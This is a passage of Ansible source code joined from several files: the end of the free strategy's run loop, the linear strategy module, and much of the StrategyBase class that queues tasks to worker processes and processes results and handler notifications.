                    if host_name not in self._blocked_hosts or not self._blocked_hosts[host_name]:
                        # pop the task, mark the host blocked, and queue it
                        self._blocked_hosts[host_name] = True
                        (state, task) = iterator.get_next_task_for_host(host)

                        try:
                            action = action_loader.get(task.action, class_only=True)
                        except KeyError:
                            # we don't care here, because the action may simply not have a
                            # corresponding action plugin
                            action = None

                        display.debug("getting variables")
                        task_vars = self._variable_manager.get_vars(loader=self._loader, play=iterator._play, host=host, task=task)
                        self.add_tqm_variables(task_vars, play=iterator._play)
                        templar = Templar(loader=self._loader, variables=task_vars)
                        display.debug("done getting variables")

                        try:
                            task.name = text_type(templar.template(task.name, fail_on_undefined=False))
                            display.debug("done templating")
                        except:
                            # just ignore any errors during task name templating,
                            # we don't care if it just shows the raw name
                            display.debug("templating failed for some reason")
                            pass

                        run_once = templar.template(task.run_once) or action and getattr(action, 'BYPASS_HOST_LOOP', False)
                        if run_once:
                            if action and getattr(action, 'BYPASS_HOST_LOOP', False):
                                raise AnsibleError("The '%s' module bypasses the host loop, which is currently not supported in the free strategy " \
                                                   "and would instead execute for every host in the inventory list." % task.action, obj=task._ds)
                            else:
                                display.warning("Using run_once with the free strategy is not currently supported. This task will still be " \
                                                "executed for every host in the inventory list.")

                        # check to see if this task should be skipped, due to it being a member of a
                        # role which has already run (and whether that role allows duplicate execution)
                        if task._role and task._role.has_run(host):
                            # If there is no metadata, the default behavior is to not allow duplicates,
                            # if there is metadata, check to see if the allow_duplicates flag was set to true
                            if task._role._metadata is None or task._role._metadata and not task._role._metadata.allow_duplicates:
                                display.debug("'%s' skipped because role has already run" % task)
                                del self._blocked_hosts[host_name]
                                continue

                        if task.action == 'meta':
                            self._execute_meta(task, play_context, iterator)
                            self._blocked_hosts[host_name] = False
                        else:
                            # handle step if needed, skip meta actions as they are used internally
                            if not self._step or self._take_step(task, host_name):
                                if task.any_errors_fatal:
                                    display.warning("Using any_errors_fatal with the free strategy is not supported, as tasks are executed independently on each host")
                                self._tqm.send_callback('v2_playbook_on_task_start', task, is_conditional=False)
                                self._queue_task(host, task, task_vars, play_context)
                                del task_vars
                    else:
                        display.debug("%s is blocked, skipping for now" % host_name)

                # move on to the next host and make sure we
                # haven't gone past the end of our hosts list
                last_host += 1
                if last_host > len(hosts_left) - 1:
                    last_host = 0

                # if we've looped around back to the start, break out
                if last_host == starting_host:
                    break

            results = self._process_pending_results(iterator)
            host_results.extend(results)

            try:
                included_files = IncludedFile.process_include_results(
                    host_results,
                    self._tqm,
                    iterator=iterator,
                    inventory=self._inventory,
                    loader=self._loader,
                    variable_manager=self._variable_manager
                )
            except AnsibleError as e:
                return False

            if len(included_files) > 0:
                all_blocks = dict((host, []) for host in hosts_left)
                for included_file in included_files:
                    display.debug("collecting new blocks for %s" % included_file)
                    try:
                        new_blocks = self._load_included_file(included_file, iterator=iterator)
                    except AnsibleError as e:
                        for host in included_file._hosts:
                            iterator.mark_host_failed(host)
                        display.warning(str(e))
                        continue

                    for new_block in new_blocks:
                        task_vars = self._variable_manager.get_vars(loader=self._loader, play=iterator._play, task=included_file._task)
                        final_block = new_block.filter_tagged_tasks(play_context, task_vars)
                        for host in hosts_left:
                            if host in included_file._hosts:
                                all_blocks[host].append(final_block)
                    display.debug("done collecting new blocks for %s" % included_file)

                display.debug("adding all collected blocks from %d included file(s) to iterator" % len(included_files))
                for host in hosts_left:
                    iterator.add_tasks(host, all_blocks[host])
                display.debug("done adding collected blocks to iterator")

            # pause briefly so we don't spin lock
            time.sleep(0.001)

        # collect all the final results
        results = self._wait_on_pending_results(iterator)

        # run the base class run() method, which executes the cleanup function
        # and runs any outstanding handlers which have been triggered
        return super(StrategyModule, self).run(iterator, play_context, result)






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.six import iteritems, text_type

from ansible.errors import AnsibleError
from ansible.executor.play_iterator import PlayIterator
from ansible.playbook.block import Block
from ansible.playbook.included_file import IncludedFile
from ansible.playbook.task import Task
from ansible.plugins import action_loader
from ansible.plugins.strategy import StrategyBase
from ansible.template import Templar
from ansible.utils.unicode import to_unicode

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class StrategyModule(StrategyBase):

    def _get_next_task_lockstep(self, hosts, iterator):
        '''
        Returns a list of (host, task) tuples, where the task may
        be a noop task to keep the iterator in lock step across
        all hosts.
        '''

        noop_task = Task()
        noop_task.action = 'meta'
        noop_task.args['_raw_params'] = 'noop'
        noop_task.set_loader(iterator._play._loader)

        host_tasks = {}
        display.debug("building list of next tasks for hosts")
        for host in hosts:
            host_tasks[host.name] = iterator.get_next_task_for_host(host, peek=True)
        display.debug("done building task lists")

        num_setups = 0
        num_tasks  = 0
        num_rescue = 0
        num_always = 0

        display.debug("counting tasks in each state of execution")
        host_tasks_to_run = [(host, state_task)
                             for host, state_task in iteritems(host_tasks)
                             if state_task and state_task[1]]

        if host_tasks_to_run:
            lowest_cur_block = min(
                (s.cur_block for h, (s, t) in host_tasks_to_run
                if s.run_state != PlayIterator.ITERATING_COMPLETE))
        else:
            # empty host_tasks_to_run will just run till the end of the function
            # without ever touching lowest_cur_block
            lowest_cur_block = None

        for (k, v) in host_tasks_to_run:
            (s, t) = v

            if s.cur_block > lowest_cur_block:
                # Not the current block, ignore it
                continue

            if s.run_state == PlayIterator.ITERATING_SETUP:
                num_setups += 1
            elif s.run_state == PlayIterator.ITERATING_TASKS:
                num_tasks += 1
            elif s.run_state == PlayIterator.ITERATING_RESCUE:
                num_rescue += 1
            elif s.run_state == PlayIterator.ITERATING_ALWAYS:
                num_always += 1
        display.debug("done counting tasks in each state of execution:\n\tnum_setups: %s\n\tnum_tasks: %s\n\tnum_rescue: %s\n\tnum_always: %s" % (num_setups, num_tasks, num_rescue, num_always))

        def _advance_selected_hosts(hosts, cur_block, cur_state):
            '''
            This helper returns the task for all hosts in the requested
            state, otherwise they get a noop dummy task. This also advances
            the state of the host, since the given states are determined
            while using peek=True.
            '''
            # we return the values in the order they were originally
            # specified in the given hosts array
            rvals = []
            display.debug("starting to advance hosts")
            for host in hosts:
                host_state_task = host_tasks.get(host.name)
                if host_state_task is None:
                    continue
                (s, t) = host_state_task
                if t is None:
                    continue
                if s.run_state == cur_state and s.cur_block == cur_block:
                    new_t = iterator.get_next_task_for_host(host)
                    rvals.append((host, t))
                else:
                    rvals.append((host, noop_task))
            display.debug("done advancing hosts to next task")
            return rvals

        # if any hosts are in ITERATING_SETUP, return the setup task
        # while all other hosts get a noop
        if num_setups:
            display.debug("advancing hosts in ITERATING_SETUP")
            return _advance_selected_hosts(hosts, lowest_cur_block, PlayIterator.ITERATING_SETUP)

        # if any hosts are in ITERATING_TASKS, return the next normal
        # task for these hosts, while all other hosts get a noop
        if num_tasks:
            display.debug("advancing hosts in ITERATING_TASKS")
            return _advance_selected_hosts(hosts, lowest_cur_block, PlayIterator.ITERATING_TASKS)

        # if any hosts are in ITERATING_RESCUE, return the next rescue
        # task for these hosts, while all other hosts get a noop
        if num_rescue:
            display.debug("advancing hosts in ITERATING_RESCUE")
            return _advance_selected_hosts(hosts, lowest_cur_block, PlayIterator.ITERATING_RESCUE)

        # if any hosts are in ITERATING_ALWAYS, return the next always
        # task for these hosts, while all other hosts get a noop
        if num_always:
            display.debug("advancing hosts in ITERATING_ALWAYS")
            return _advance_selected_hosts(hosts, lowest_cur_block, PlayIterator.ITERATING_ALWAYS)

        # at this point, everything must be ITERATING_COMPLETE, so we
        # return None for all hosts in the list
        display.debug("all hosts are done, so returning None's for all hosts")
        return [(host, None) for host in hosts]

    def run(self, iterator, play_context):
        '''
        The linear strategy is simple - get the next task and queue
        it for all hosts, then wait for the queue to drain before
        moving on to the next task
        '''

        # iteratate over each task, while there is one left to run
        result = self._tqm.RUN_OK
        work_to_do = True
        while work_to_do and not self._tqm._terminated:

            try:
                display.debug("getting the remaining hosts for this loop")
                hosts_left = [host for host in self._inventory.get_hosts(iterator._play.hosts) if host.name not in self._tqm._unreachable_hosts]
                display.debug("done getting the remaining hosts for this loop")

                # queue up this task for each host in the inventory
                callback_sent = False
                work_to_do = False

                host_results = []
                host_tasks = self._get_next_task_lockstep(hosts_left, iterator)

                # skip control
                skip_rest   = False
                choose_step = True

                # flag set if task is set to any_errors_fatal
                any_errors_fatal = False

                results = []
                for (host, task) in host_tasks:
                    if not task:
                        continue

                    if self._tqm._terminated:
                        break

                    run_once = False
                    work_to_do = True

                    # test to see if the task across all hosts points to an action plugin which
                    # sets BYPASS_HOST_LOOP to true, or if it has run_once enabled. If so, we
                    # will only send this task to the first host in the list.

                    try:
                        action = action_loader.get(task.action, class_only=True)
                    except KeyError:
                        # we don't care here, because the action may simply not have a
                        # corresponding action plugin
                        action = None

                    # check to see if this task should be skipped, due to it being a member of a
                    # role which has already run (and whether that role allows duplicate execution)
                    if task._role and task._role.has_run(host):
                        # If there is no metadata, the default behavior is to not allow duplicates,
                        # if there is metadata, check to see if the allow_duplicates flag was set to true
                        if task._role._metadata is None or task._role._metadata and not task._role._metadata.allow_duplicates:
                            display.debug("'%s' skipped because role has already run" % task)
                            continue

                    if task.action == 'meta':
                        self._execute_meta(task, play_context, iterator)
                    else:
                        # handle step if needed, skip meta actions as they are used internally
                        if self._step and choose_step:
                            if self._take_step(task):
                                choose_step = False
                            else:
                                skip_rest = True
                                break

                        display.debug("getting variables")
                        task_vars = self._variable_manager.get_vars(loader=self._loader, play=iterator._play, host=host, task=task)
                        self.add_tqm_variables(task_vars, play=iterator._play)
                        templar = Templar(loader=self._loader, variables=task_vars)
                        display.debug("done getting variables")

                        run_once = templar.template(task.run_once) or action and getattr(action, 'BYPASS_HOST_LOOP', False)

                        if (task.any_errors_fatal or run_once) and not task.ignore_errors:
                            any_errors_fatal = True

                        if not callback_sent:
                            display.debug("sending task start callback, copying the task so we can template it temporarily")
                            saved_name = task.name
                            display.debug("done copying, going to template now")
                            try:
                                task.name = text_type(templar.template(task.name, fail_on_undefined=False))
                                display.debug("done templating")
                            except:
                                # just ignore any errors during task name templating,
                                # we don't care if it just shows the raw name
                                display.debug("templating failed for some reason")
                                pass
                            display.debug("here goes the callback...")
                            self._tqm.send_callback('v2_playbook_on_task_start', task, is_conditional=False)
                            task.name = saved_name
                            callback_sent = True
                            display.debug("sending task start callback")

                        self._blocked_hosts[host.get_name()] = True
                        self._queue_task(host, task, task_vars, play_context)
                        del task_vars

                    # if we're bypassing the host loop, break out now
                    if run_once:
                        break

                    results += self._process_pending_results(iterator, one_pass=True)

                # go to next host/task group
                if skip_rest:
                    continue

                display.debug("done queuing things up, now waiting for results queue to drain")
                results += self._wait_on_pending_results(iterator)
                host_results.extend(results)

                try:
                    included_files = IncludedFile.process_include_results(
                        host_results,
                        self._tqm,
                        iterator=iterator,
                        inventory=self._inventory,
                        loader=self._loader,
                        variable_manager=self._variable_manager
                    )
                except AnsibleError as e:
                    # this is a fatal error, so we abort here regardless of block state
                    return self._tqm.RUN_ERROR

                include_failure = False
                if len(included_files) > 0:
                    display.debug("we have included files to process")
                    noop_task = Task()
                    noop_task.action = 'meta'
                    noop_task.args['_raw_params'] = 'noop'
                    noop_task.set_loader(iterator._play._loader)

                    display.debug("generating all_blocks data")
                    all_blocks = dict((host, []) for host in hosts_left)
                    display.debug("done generating all_blocks data")
                    for included_file in included_files:
                        display.debug("processing included file: %s" % included_file._filename)
                        # included hosts get the task list while those excluded get an equal-length
                        # list of noop tasks, to make sure that they continue running in lock-step
                        try:
                            new_blocks = self._load_included_file(included_file, iterator=iterator)

                            display.debug("iterating over new_blocks loaded from include file")
                            for new_block in new_blocks:
                                task_vars = self._variable_manager.get_vars(
                                    loader=self._loader,
                                    play=iterator._play,
                                    task=included_file._task,
                                )
                                display.debug("filtering new block on tags")
                                final_block = new_block.filter_tagged_tasks(play_context, task_vars)
                                display.debug("done filtering new block on tags")

                                noop_block = Block(parent_block=task._parent)
                                noop_block.block  = [noop_task for t in new_block.block]
                                noop_block.always = [noop_task for t in new_block.always]
                                noop_block.rescue = [noop_task for t in new_block.rescue]

                                for host in hosts_left:
                                    if host in included_file._hosts:
                                        all_blocks[host].append(final_block)
                                    else:
                                        all_blocks[host].append(noop_block)
                            display.debug("done iterating over new_blocks loaded from include file")

                        except AnsibleError as e:
                            for host in included_file._hosts:
                                self._tqm._failed_hosts[host.name] = True
                                iterator.mark_host_failed(host)
                            display.error(to_unicode(e), wrap_text=False)
                            include_failure = True
                            continue

                    # finally go through all of the hosts and append the
                    # accumulated blocks to their list of tasks
                    display.debug("extending task lists for all hosts with included blocks")

                    for host in hosts_left:
                        iterator.add_tasks(host, all_blocks[host])

                    display.debug("done extending task lists")
                    display.debug("done processing included files")

                display.debug("results queue empty")

                display.debug("checking for any_errors_fatal")
                failed_hosts = []
                unreachable_hosts = []
                for res in results:
                    if res.is_failed():
                        failed_hosts.append(res._host.name)
                    elif res.is_unreachable():
                        unreachable_hosts.append(res._host.name)

                # if any_errors_fatal and we had an error, mark all hosts as failed
                if any_errors_fatal and (len(failed_hosts) > 0 or len(unreachable_hosts) > 0):
                    for host in hosts_left:
                        (s, _) = iterator.get_next_task_for_host(host, peek=True)
                        if s.run_state != iterator.ITERATING_RESCUE:
                            self._tqm._failed_hosts[host.name] = True
                            result |= self._tqm.RUN_FAILED_BREAK_PLAY
                display.debug("done checking for any_errors_fatal")

                display.debug("checking for max_fail_percentage")
                if iterator._play.max_fail_percentage is not None and len(results) > 0:
                    percentage = iterator._play.max_fail_percentage / 100.0

                    if (len(self._tqm._failed_hosts) / len(results)) > percentage:
                        for host in hosts_left:
                            # don't double-mark hosts, or the iterator will potentially
                            # fail them out of the rescue/always states
                            if host.name not in failed_hosts:
                                self._tqm._failed_hosts[host.name] = True
                                iterator.mark_host_failed(host)
                        self._tqm.send_callback('v2_playbook_on_no_hosts_remaining')
                        result |= self._tqm.RUN_FAILED_BREAK_PLAY
                display.debug("done checking for max_fail_percentage")

            except (IOError, EOFError) as e:
                display.debug("got IOError/EOFError in task loop: %s" % e)
                # most likely an abort, return failed
                return self._tqm.RUN_UNKNOWN_ERROR

        # run the base class run() method, which executes the cleanup function
        # and runs any outstanding handlers which have been triggered

        return super(StrategyModule, self).run(iterator, play_context, result)






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import json
import time
import zlib
from collections import defaultdict
from multiprocessing import Lock

from jinja2.exceptions import UndefinedError

from ansible.compat.six.moves import queue as Queue
from ansible.compat.six import iteritems, text_type, string_types
from ansible import constants as C
from ansible.errors import AnsibleError, AnsibleParserError, AnsibleUndefinedVariable
from ansible.executor.play_iterator import PlayIterator
from ansible.executor.process.worker import WorkerProcess
from ansible.executor.task_result import TaskResult
from ansible.inventory.host import Host
from ansible.inventory.group import Group
from ansible.module_utils.facts import Facts
from ansible.playbook.helpers import load_list_of_blocks
from ansible.playbook.included_file import IncludedFile
from ansible.playbook.task_include import TaskInclude
from ansible.plugins import action_loader, connection_loader, filter_loader, lookup_loader, module_loader, test_loader
from ansible.template import Templar
from ansible.utils.unicode import to_unicode
from ansible.vars.unsafe_proxy import wrap_var
from ansible.vars import combine_vars, strip_internal_keys


try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

__all__ = ['StrategyBase']

if 'action_write_locks' not in globals():
    # Do not initialize this more than once because it seems to bash
    # the existing one.  multiprocessing must be reloading the module
    # when it forks?
    action_write_locks = dict()

    # Below is a Lock for use when we weren't expecting a named module.
    # It gets used when an action plugin directly invokes a module instead
    # of going through the strategies.  Slightly less efficient as all
    # processes with unexpected module names will wait on this lock
    action_write_locks[None] = Lock()

    # These plugins are called directly by action plugins (not going through
    # a strategy).  We precreate them here as an optimization
    mods = set(p['name'] for p in Facts.PKG_MGRS)
    mods.update(('copy', 'file', 'setup', 'slurp', 'stat'))
    for mod_name in mods:
        action_write_locks[mod_name] = Lock()

# TODO: this should probably be in the plugins/__init__.py, with
#       a smarter mechanism to set all of the attributes based on
#       the loaders created there
class SharedPluginLoaderObj:
    '''
    A simple object to make pass the various plugin loaders to
    the forked processes over the queue easier
    '''
    def __init__(self):
        self.action_loader = action_loader
        self.connection_loader = connection_loader
        self.filter_loader = filter_loader
        self.test_loader   = test_loader
        self.lookup_loader = lookup_loader
        self.module_loader = module_loader


class StrategyBase:

    '''
    This is the base class for strategy plugins, which contains some common
    code useful to all strategies like running handlers, cleanup actions, etc.
    '''

    def __init__(self, tqm):
        self._tqm               = tqm
        self._inventory         = tqm.get_inventory()
        self._workers           = tqm.get_workers()
        self._notified_handlers = tqm._notified_handlers
        self._listening_handlers = tqm._listening_handlers
        self._variable_manager  = tqm.get_variable_manager()
        self._loader            = tqm.get_loader()
        self._final_q           = tqm._final_q
        self._step              = getattr(tqm._options, 'step', False)
        self._diff              = getattr(tqm._options, 'diff', False)
        # Backwards compat: self._display isn't really needed, just import the global display and use that.
        self._display           = display

        # internal counters
        self._pending_results   = 0
        self._cur_worker        = 0

        # this dictionary is used to keep track of hosts that have
        # outstanding tasks still in queue
        self._blocked_hosts     = dict()

    def run(self, iterator, play_context, result=0):
        # save the failed/unreachable hosts, as the run_handlers()
        # method will clear that information during its execution
        failed_hosts      = iterator.get_failed_hosts()
        unreachable_hosts = self._tqm._unreachable_hosts.keys()

        display.debug("running handlers")
        handler_result = self.run_handlers(iterator, play_context)
        if isinstance(handler_result, bool) and not handler_result:
            result |= self._tqm.RUN_ERROR
        elif not handler_result:
            result |= handler_result

        # now update with the hosts (if any) that failed or were
        # unreachable during the handler execution phase
        failed_hosts      = set(failed_hosts).union(iterator.get_failed_hosts())
        unreachable_hosts = set(unreachable_hosts).union(self._tqm._unreachable_hosts.keys())

        # return the appropriate code, depending on the status hosts after the run
        if not isinstance(result, bool) and result != self._tqm.RUN_OK:
            return result
        elif len(unreachable_hosts) > 0:
            return self._tqm.RUN_UNREACHABLE_HOSTS
        elif len(failed_hosts) > 0:
            return self._tqm.RUN_FAILED_HOSTS
        else:
            return self._tqm.RUN_OK

    def get_hosts_remaining(self, play):
        return [host for host in self._inventory.get_hosts(play.hosts)
                if host.name not in self._tqm._failed_hosts and host.name not in self._tqm._unreachable_hosts]

    def get_failed_hosts(self, play):
        return [host for host in self._inventory.get_hosts(play.hosts) if host.name in self._tqm._failed_hosts]

    def add_tqm_variables(self, vars, play):
        '''
        Base class method to add extra variables/information to the list of task
        vars sent through the executor engine regarding the task queue manager state.
        '''
        vars['ansible_current_hosts'] = [h.name for h in self.get_hosts_remaining(play)]
        vars['ansible_failed_hosts'] = [h.name for h in self.get_failed_hosts(play)]

    def _queue_task(self, host, task, task_vars, play_context):
        ''' handles queueing the task up to be sent to a worker '''

        display.debug("entering _queue_task() for %s/%s" % (host.name, task.action))

        # Add a write lock for tasks.
        # Maybe this should be added somewhere further up the call stack but
        # this is the earliest in the code where we have task (1) extracted
        # into its own variable and (2) there's only a single code path
        # leading to the module being run.  This is called by three
        # functions: __init__.py::_do_handler_run(), linear.py::run(), and
        # free.py::run() so we'd have to add to all three to do it there.
        # The next common higher level is __init__.py::run() and that has
        # tasks inside of play_iterator so we'd have to extract them to do it
        # there.

        global action_write_locks
        if task.action not in action_write_locks:
            display.debug('Creating lock for %s' % task.action)
            action_write_locks[task.action] = Lock()

        # and then queue the new task
        try:

            # create a dummy object with plugin loaders set as an easier
            # way to share them with the forked processes
            shared_loader_obj = SharedPluginLoaderObj()

            queued = False
            starting_worker = self._cur_worker
            while True:
                (worker_prc, rslt_q) = self._workers[self._cur_worker]
                if worker_prc is None or not worker_prc.is_alive():
                    worker_prc = WorkerProcess(self._final_q, task_vars, host, task, play_context, self._loader, self._variable_manager, shared_loader_obj)
                    self._workers[self._cur_worker][0] = worker_prc
                    worker_prc.start()
                    display.debug("worker is %d (out of %d available)" % (self._cur_worker+1, len(self._workers)))
                    queued = True
                self._cur_worker += 1
                if self._cur_worker >= len(self._workers):
                    self._cur_worker = 0
                if queued:
                    break
                elif self._cur_worker == starting_worker:
                    time.sleep(0.0001)

            self._pending_results += 1
        except (EOFError, IOError, AssertionError) as e:
            # most likely an abort
            display.debug("got an error while queuing: %s" % e)
            return
        display.debug("exiting _queue_task() for %s/%s" % (host.name, task.action))

    def _process_pending_results(self, iterator, one_pass=False):
        '''
        Reads results off the final queue and takes appropriate action
        based on the result (executing callbacks, updating state, etc.).
        '''

        ret_results = []

        def get_original_host(host_name):
            host_name = to_unicode(host_name)
            if host_name in self._inventory._hosts_cache:
                return self._inventory._hosts_cache[host_name]
            else:
                return self._inventory.get_host(host_name)

        def search_handler_blocks(handler_name, handler_blocks):
            for handler_block in handler_blocks:
                for handler_task in handler_block.block:
                    handler_vars = self._variable_manager.get_vars(loader=self._loader, play=iterator._play, task=handler_task)
                    templar = Templar(loader=self._loader, variables=handler_vars)
                    try:
                        # first we check with the full result of get_name(), which may
                        # include the role name (if the handler is from a role). If that
                        # is not found, we resort to the simple name field, which doesn't
                        # have anything extra added to it.
                        target_handler_name = templar.template(handler_task.name)
                        if target_handler_name == handler_name:
                            return handler_task
                        else:
                            target_handler_name = templar.template(handler_task.get_name())
                            if target_handler_name == handler_name:
                                return handler_task
                    except (UndefinedError, AnsibleUndefinedVariable) as e:
                        # We skip this handler due to the fact that it may be using
                        # a variable in the name that was conditionally included via
                        # set_fact or some other method, and we don't want to error
                        # out unnecessarily
                        continue
            return None

        def parent_handler_match(target_handler, handler_name):
            if target_handler:
                if isinstance(target_handler, TaskInclude):
                    try:
                        handler_vars = self._variable_manager.get_vars(loader=self._loader, play=iterator._play, task=target_handler)
                        templar = Templar(loader=self._loader, variables=handler_vars)
                        target_handler_name = templar.template(target_handler.name)
                        if target_handler_name == handler_name:
                            return True
                        else:
                            target_handler_name = templar.template(target_handler.get_name())
                            if target_handler_name == handler_name:
                                return True
                    except (UndefinedError, AnsibleUndefinedVariable) as e:
                        pass
                return parent_handler_match(target_handler._parent, handler_name)
            else:
                return False

        passes = 0
        while not self._tqm._terminated:
            try:
                task_result = self._final_q.get(timeout=0.001)
                original_host = get_original_host(task_result._host)
                original_task = iterator.get_original_task(original_host, task_result._task)
                task_result._host = original_host
                task_result._task = original_task

                # send callbacks for 'non final' results
                if '_ansible_retry' in task_result._result:
                    self._tqm.send_callback('v2_runner_retry', task_result)
                    continue
                elif '_ansible_item_result' in task_result._result:
                    if task_result.is_failed() or task_result.is_unreachable():
                        self._tqm.send_callback('v2_runner_item_on_failed', task_result)
                    elif task_result.is_skipped():
                        self._tqm.send_callback('v2_runner_item_on_skipped', task_result)
                    else:
                        self._tqm.send_callback('v2_runner_item_on_ok', task_result)
                    continue

                if original_task.register:
                    if original_task.run_once:
                        host_list = [host for host in self._inventory.get_hosts(iterator._play.hosts) if host.name not in self._tqm._unreachable_hosts]
                    else:
                        host_list = [original_host]

                    clean_copy = strip_internal_keys(task_result._result)
                    if 'invocation' in clean_copy:
                        del clean_copy['invocation']

                    for target_host in host_list:
                        self._variable_manager.set_nonpersistent_facts(target_host, {original_task.register: clean_copy})

                # all host status messages contain 2 entries: (msg, task_result)
                role_ran = False
                if task_result.is_failed():
                    role_ran = True
                    if not original_task.ignore_errors:
                        display.debug("marking %s as failed" % original_host.name)
                        if original_task.run_once:
                            # if we're using run_once, we have to fail every host here
                            for h in self._inventory.get_hosts(iterator._play.hosts):
                                if h.name not in self._tqm._unreachable_hosts:
                                    state, _ = iterator.get_next_task_for_host(h, peek=True)
                                    iterator.mark_host_failed(h)
                                    state, new_task = iterator.get_next_task_for_host(h, peek=True)
                        else:
                            iterator.mark_host_failed(original_host)

                        # only add the host to the failed list officially if it has
                        # been failed by the iterator
                        if iterator.is_failed(original_host):
                            self._tqm._failed_hosts[original_host.name] = True
                            self._tqm._stats.increment('failures', original_host.name)
                        else:
                            # otherwise, we grab the current state and if we're iterating on
                            # the rescue portion of a block then we save the failed task in a
                            # special var for use within the rescue/always
                            state, _ = iterator.get_next_task_for_host(original_host, peek=True)
                            if state.run_state == iterator.ITERATING_RESCUE:
                                self._variable_manager.set_nonpersistent_facts(
                                    original_host,
                                    dict(
                                        ansible_failed_task=original_task.serialize(),
                                        ansible_failed_result=task_result._result,
                                    ),
                                    )
                    else:
                        self._tqm._stats.increment('ok', original_host.name)
                    self._tqm.send_callback('v2_runner_on_failed', task_result, ignore_errors=original_task.ignore_errors)
                elif task_result.is_unreachable():
                    self._tqm._unreachable_hosts[original_host.name] = True
                    self._tqm._stats.increment('dark', original_host.name)
                    self._tqm.send_callback('v2_runner_on_unreachable', task_result)
                elif task_result.is_skipped():
                    self._tqm._stats.increment('skipped', original_host.name)
                    self._tqm.send_callback('v2_runner_on_skipped', task_result)
                else:
                    role_ran = True

                    if original_task.loop:
                        # this task had a loop, and has more than one result, so
                        # loop over all of them instead of a single result
                        result_items = task_result._result.get('results', [])
                    else:
                        result_items = [ task_result._result ]

                    for result_item in result_items:
                        if '_ansible_notify' in result_item:
                            if task_result.is_changed():
                                # The shared dictionary for notified handlers is a proxy, which
                                # does not detect when sub-objects within the proxy are modified.
                                # So, per the docs, we reassign the list so the proxy picks up and
                                # notifies all other threads
                                for handler_name in result_item['_ansible_notify']:
                                    # Find the handler using the above helper.  First we look up the
                                    # dependency chain of the current task (if it's from a role), otherwise
                                    # we just look through the list of handlers in the current play/all
                                    # roles and use the first one that matches the notify name
                                    if handler_name in self._listening_handlers:
                                        for listening_handler_name in self._listening_handlers[handler_name]:
                                            listening_handler = search_handler_blocks(listening_handler_name, iterator._play.handlers)
                                            if listening_handler is None:
                                                raise AnsibleError("The requested handler listener '%s' was not found in any of the known handlers" % listening_handler_name)
                                            if original_host not in self._notified_handlers[listening_handler]:
                                                self._notified_handlers[listening_handler].append(original_host)
                                                display.vv("NOTIFIED HANDLER %s" % (listening_handler_name,))

                                    else:
                                        target_handler = search_handler_blocks(handler_name, iterator._play.handlers)
                                        if target_handler is not None:
                                            if original_host not in self._notified_handlers[target_handler]:
                                                self._notified_handlers[target_handler].append(original_host)
                                                # FIXME: should this be a callback?
                                                display.vv("NOTIFIED HANDLER %s" % (handler_name,))
                                        else:
                                            # As there may be more than one handler with the notified name as the
                                            # parent, so we just keep track of whether or not we found one at all
                                            found = False
                                            for target_handler in self._notified_handlers:
                                                if parent_handler_match(target_handler, handler_name):
                                                    self._notified_handlers[target_handler].append(original_host)
                                                    display.vv("NOTIFIED HANDLER %s" % (target_handler.get_name(),))
                                                    found = True

                                            # and if none were found, then we raise an error
                                            if not found:
                                                raise AnsibleError("The requested handler '%s' was found in neither the main handlers list nor the listening handlers list" % handler_name)
 

                        if 'add_host' in result_item:
                            # this task added a new host (add_host module)
                            new_host_info = result_item.get('add_host', dict())
                            self._add_host(new_host_info, iterator)

                        elif 'add_group' in result_item:
                            # this task added a new group (group_by module)
                            self._add_group(original_host, result_item)

                        elif 'ansible_facts' in result_item:
                            loop_var = 'item'
                            if original_task.loop_control:
                                loop_var = original_task.loop_control.loop_var or 'item'

                            item = result_item.get(loop_var, None)

                            if original_task.action == 'include_vars':
                                for (var_name, var_value) in iteritems(result_item['ansible_facts']):
                                    # find the host we're actually refering too here, which may
                                    # be a host that is not really in inventory at all
                                    if original_task.delegate_to is not None and original_task.delegate_facts:
                                        task_vars = self._variable_manager.get_vars(loader=self._loader, play=iterator._play, host=host, task=task)
                                        self.add_tqm_variables(task_vars, play=iterator._play)
                                        if item is not None:
                                            task_vars[loop_var] = item
                                        templar = Templar(loader=self._loader, variables=task_vars)
                                        host_name = templar.template(original_task.delegate_to)
                                        actual_host = self._inventory.get_host(host_name)
                                        if actual_host is None:
                                            actual_host = Host(name=host_name)
                                    else:
                                        actual_host = original_host

                                    if original_task.run_once:
                                        host_list = [host for host in self._inventory.get_hosts(iterator._play.hosts) if host.name not in self._tqm._unreachable_hosts]
                                    else:
                                        host_list = [actual_host]

                                    for target_host in host_list:
                                        self._variable_manager.set_host_variable(target_host, var_name, var_value)
                            else:
                                if original_task.run_once:
                                    host_list = [host for host in self._inventory.get_hosts(iterator._play.hosts) if host.name not in self._tqm._unreachable_hosts]
                                else:
                                    host_list = [original_host]

                                for target_host in host_list:
                                    if original_task.action == 'set_fact':
                                        self._variable_manager.set_nonpersistent_facts(target_host, result_item['ansible_facts'].copy())
                                    else:
                                        self._variable_manager.set_host_facts(target_host, result_item['ansible_facts'].copy())

                    if 'diff' in task_result._result:
                        if self._diff:
                            self._tqm.send_callback('v2_on_file_diff', task_result)

                    if original_task.action != 'include':
                        self._tqm._stats.increment('ok', original_host.name)
                        if 'changed' in task_result._result and task_result._result['changed']:
                            self._tqm._stats.increment('changed', original_host.name)

                    # finally, send the ok for this task
